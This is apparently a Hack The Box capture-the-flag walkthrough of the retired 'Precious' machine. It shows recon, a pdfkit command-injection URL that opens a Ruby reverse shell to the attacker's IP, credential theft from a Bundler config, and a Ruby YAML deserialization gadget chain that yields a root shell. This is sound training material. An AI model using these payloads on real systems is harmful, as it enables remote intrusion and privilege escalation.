Introduction

Welcome to my first Hack The Box machine walkthrough. This system is one that I had the privilege of doing live and am now going to post my process of popping root since the machine has since retired. Here is a quick overview of the machine as stated directly from HTB.

Precious is an Easy Difficulty Linux machine, that focuses on the Ruby language. It hosts a custom Ruby web application, using an outdated library, namely pdfkit, which is vulnerable to CVE-2022-25765, leading to an initial shell on the target machine. After a pivot using plaintext credentials that are found in a Gem repository config file, the box concludes with an insecure deserialization attack on a custom, outdated, Ruby script.

With that out of the way, let’s get into it!

Information Gathering

We will start with an NMAP scan to see what services are running on the system.

nmap -A -T4 -p0- -v --stats-every=5s 10.129.109.43 -oA tcp
# -A gives us OS Scan, version detection, standard script scanning, and traceroute
# -T4 sets our timing level to a good balance of speed and accuracy
# -p0- Scan all ports
# -v verbose output
# --stats-every=5s for regular status updates on scan progress
# -oA output to file, in all available formats

Here is the scan result

Nmap scan report for 10.129.109.43
Host is up (0.015s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=9/20%OT=22%CT=1%CU=44612%PV=Y%DS=2%DC=T%G=Y%TM=650B2F9
OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST1
OS:1NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Uptime guess: 43.451 days (since Tue Aug  8 07:55:38 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1723/tcp)
HOP RTT      ADDRESS
1   37.52 ms 10.10.14.1
2   36.59 ms 10.129.109.43

NSE: Script Post-scanning.
Initiating NSE at 18:44
Completed NSE at 18:44, 0.00s elapsed
Initiating NSE at 18:44
Completed NSE at 18:44, 0.00s elapsed
Initiating NSE at 18:44
Completed NSE at 18:44, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.30 seconds
           Raw packets sent: 66153 (2.915MB) | Rcvd: 65617 (2.628MB)

Here we see that we have an open SSH server on port 22 and an NGINX web server on port 80. We will note the versions of these services that NMAP provided for later information gathering, but for now, let’s see what is hosted on the web server. We notice that the root page redirects to http://precious.htb/. We will make an update to our /etc/hosts file to include http://precious.htb/ and the machines IP so that we can navigate to the server by name rather than IP address. This will also likely fix any links to other pages and files that are likely in the HTML. We will open the host file with vim (or your editor of choice) and add the entry.

vim /etc/hosts
# This will open the file for editing in vim, feel free to use whatever editor you like
10.129.109.43 precious.htb <-- Add this entry to your hosts file, this is the IP for the Precious server and yours will differ
127.0.1.1 htb-m9rd8arncr.htb-cloud.com htb-m9rd8arncr
127.0.0.1 localhost

After we make this entry, we can now navigate to the webpage by name, and any links to other pages and files will work normally.

precious web page content

Although we haven’t touched anything yet, this page appears to accept a URL that will turn a webpage into PDF file based on the title. Groundbreaking observation, I know, but it gives us a clear attack surface. We can have a look at the page source to see if there is anything interesting to note. Spoiler alert, in this case, there isn’t anything interesting to see. We can try to type in some URLs but live URLs don’t seem to work. It is likely because this machine does not have direct access to the internet. We can still work with this.

Let’s create a super simple html page and host it on our attack box from our terminal.

echo '<h1>Hack the planet.</h1>' > index.html
#This will echo the html string into the index.html file

From here we can host our current folder by spinning up a python server.

python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

This command will set up a simple http server with python and host it in the directory we are currently in. As long as the index.html file was in the current folder when we typed this command, we will be solid. As a note, index.html is the default page that will be served when we navigate to a URL (generally speaking).

Here we submit the URL to our python server.

precious submitting attack system url

Once we submit the page, we are presented with the result. In my case, a new PDF file is opened in the browser.

precious returned pdf

We will download this for further analysis. For now, while we are at it, we can use the firefox addon Wappalyzer for more information regarding the web server and associated technologies.

precious web server info

To finish up our first wave of information gathering, let’s search for directories or vhosts with Gobuster to see if there might be anything else on the web server to investigate.

# This command performs directory busting on the site to see if there are any hidden web directories to investigate
gobuster dir -u http://precious.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt 

# This command will scan for virtual hosts on system and will identify if any subdomains exist.
# This is not the same as a DNS scan, as it will not resolve DNS names. 
# VHOST scan is used to check for subdomain prefixes on the same server.

gobuster vhost -u http://precious.htb -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt 

Initial Foothold

We did not manage to find any more useful information with these scans. Now it is time to investigate the PDF file that we downloaded. For this we will use the pdfinfo tool.

pdfinfo hacktheplanet.pdf 
Creator:        Generated by pdfkit v0.8.6
Tagged:         no
UserProperties: no
Suspects:       no
Form:           none
JavaScript:     no
Pages:          1
Encrypted:      no
Page size:      612 x 792 pts (letter)
Page rot:       0
File size:      10661 bytes
Optimized:      no
PDF version:    1.4

With the information we see that the file was generated with pdfkit v0.8.6. With some research we see that this version of pdfkit may be vulnerable to CVE-2022-25765.

According to the writeup above, pdfkit versions less than v0.8.7 are vulnerable to command injection.

To get a foothold, we can start a netcat listener:

dale@kali:~$ nc -lvnp 8080
listening on [any] 8080 ...

I created the following reverse shell payload in Ruby with the help of revshells.com. And crafted the following URL and submitted to the form:

http://10.10.14.85:8080/?name=#{'%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.85",8888))'`'}

We successfully get a shell as user ruby!

dale@kali:~$ nc -lvnp 8080
listening on [any] 8080 ...
connect to [10.10.14.85] from (UNKNOWN) [10.129.109.43] 47942
id
uid=1000(ruby) gid=1000(ruby) groups=1000(ruby)

If we do a search on the home directories we see two users.

ls /home

henry
ruby

Since we are looking for our user flag, let’s see if it resides in henry’s profile.

ls -la /home/henry
total 24
drwxr-xr-x 2 henry henry 4096 Oct 26  2022 .
drwxr-xr-x 4 root  root  4096 Oct 26  2022 ..
lrwxrwxrwx 1 root  root     9 Sep 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry  220 Sep 26  2022 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26  2022 .bashrc
-rw-r--r-- 1 henry henry  807 Sep 26  2022 .profile
-rw-r----- 1 root  henry   33 May 16 19:01 user.txt

We see our user flag, but unfortunately we do not have permission to read this file as the current user. Now, let’s have a look under the ruby home folder.

ls -la /home/ruby
total 28
drwxr-xr-x 4 ruby ruby 4096 May 17 13:09 .
drwxr-xr-x 4 root root 4096 Oct 26  2022 ..
lrwxrwxrwx 1 root root    9 Oct 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 May 17 13:09 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile

At first glance, the .bundle file seems interesting. Let’s have a peek inside the .bundle folder.

cd .bundle
ls -la
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .
drwxr-xr-x 4 ruby ruby 4096 May 17 13:09 ..
-rw-r--r-- 1 root ruby  162 Oct 26  2022 config

Now we are getting somewhere. If we cat out our config file, we get henry’s creds.

cat config  
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

From here, we can SSH directly into the machine.

dale@kali:~$ ssh henry@10.129.109.43
The authenticity of host '10.129.109.43 (10.129.109.43)' can't be established.
ECDSA key fingerprint is SHA256:kRyWgtzD4AwSK3m1ALIMjgI7W2SqImzsG5qPcTSavFU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.109.43' (ECDSA) to the list of known hosts.
henry@10.129.109.43's password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$ 

Privilege Escalation

Now that we are in, we can check for sudo permissions for user henry.

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:~$ 

Ok, this is peculiar, and a good candidate to escalate privileges on the machine. Let’s see what is inside this file.

henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require "rubygems"

# TODO: update versions automatically
def update_gems()
end

def list_from_file
  YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
  Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{ |g| [g.name, g.version.to_s] }
end

gems_file  = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
  gems_local.each do |local_name, local_version|
    if(file_name == local_name)
      if(file_version != local_version)
        puts "Installed version differs from the one specified in file: " + local_name
      else
        puts "Installed version is equals to the one specified in file: " + local_name
      end

The interesting part of this file is the YAML.load() call, which pulls in dependencies.yml:

YAML.load(File.read("dependencies.yml"))

Doing some research, I found the following article regarding a vulnerability in yaml.load() for ruby > version 2.7

Let’s take a look at the ruby version to see if the payload listed in this article will work.

henry@precious:~$ ruby -v
ruby 2.7.4p191 (2021-07-07 revision a21a3b7d23) [x86_64-linux-gnu]

Here is the payload from the article we will use. We can create a dependencies.yml file in henry’s home directory:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

In the above payload, the portion after git_set: is the important piece. This will run the id command on the system. We can see this in the output below

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)

Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/lib/ruby/2.7.0/rubygems/requirement.rb:220:in `init_with'
        11: from /usr/lib/ruby/2.7.0/rubygems/requirement.rb:216:in `yaml_initialize'
        10: from /usr/lib/ruby/2.7.0/rubygems/requirement.rb:297:in `fix_syck_default_key_in_requirements'
         9: from /usr/lib/ruby/2.7.0/rubygems/package/tar_reader.rb:61:in `each'
         8: from /usr/lib/ruby/2.7.0/rubygems/package/tar_header.rb:103:in `from'
         7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/lib/ruby/2.7.0/rubygems/request_set.rb:400:in `resolve'
         2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)

Now, if we change the git_set entry to /bin/bash, like below, we can get a root shell on the system.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: /bin/bash
         method_id: :resolve

After running the script, we now are elevated to root and can get the root.txt file on the machine. Rad!

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found

root@precious:/home/henry# cd /root
root@precious:~# cat root.txt
**************REDACTED******************
root@precious:~#